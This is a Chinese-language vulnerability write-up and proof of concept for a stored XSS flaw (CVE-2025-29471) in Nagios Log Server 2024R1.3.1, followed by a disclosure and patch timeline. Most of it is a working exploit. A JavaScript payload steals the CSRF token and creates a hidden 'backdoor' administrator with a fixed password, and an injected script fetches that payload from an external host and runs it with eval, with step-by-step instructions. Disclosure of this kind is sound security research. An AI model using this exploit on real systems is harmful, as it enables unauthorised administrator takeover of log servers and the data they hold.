2024R1.3.1 及以下Nagios Log Server 2024R1.3.1(默认配置,Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H仅供授权测试与研究之用。 请勿在您不拥有或未经明确许可的系统上测试或利用此漏洞。
Nagios Log Server 2024R1.3.1 中存在一个存储型 XSS 漏洞,允许低权限用户向其个人资料的 'email' 字段注入恶意 JavaScript。
当管理员查看审计日志时,载荷将执行,并通过未授权创建管理员账户实现权限提升。
1.在您的外部服务器上托管 xss.js 载荷,内容如下。使用 Github 即可正常托管。
将 <target-ip> 更新为 Nagios Log Server 目标的 IP/主机名。
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
以标准(非管理员)用户身份登录 Nagios Log Server。
导航至个人资料更新端点:
http://<target-ip>/nagioslogserver/profile/update
将以下载荷注入 email 字段。 将 fetch 行更新为 xss.js 所存储的 URL。
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor 身份登录,在 Nagios Log Server 中获得完全的管理员访问权限。Nagios Log Server 2024R2Nagios Log Server 2024R2 解决了存储型 XSS 漏洞,并已告知 NagiosCVE-2025-29471,但由于厂商未发布公开安全公告,详情仍未公开2024R1.3.2),将存储型 XSS 漏洞修复向后移植至 2024R1 分支CVE-2025-29471 正式发布此项工作是在我的受雇工作之外进行的,反映了我个人在网络安全研究方面的努力。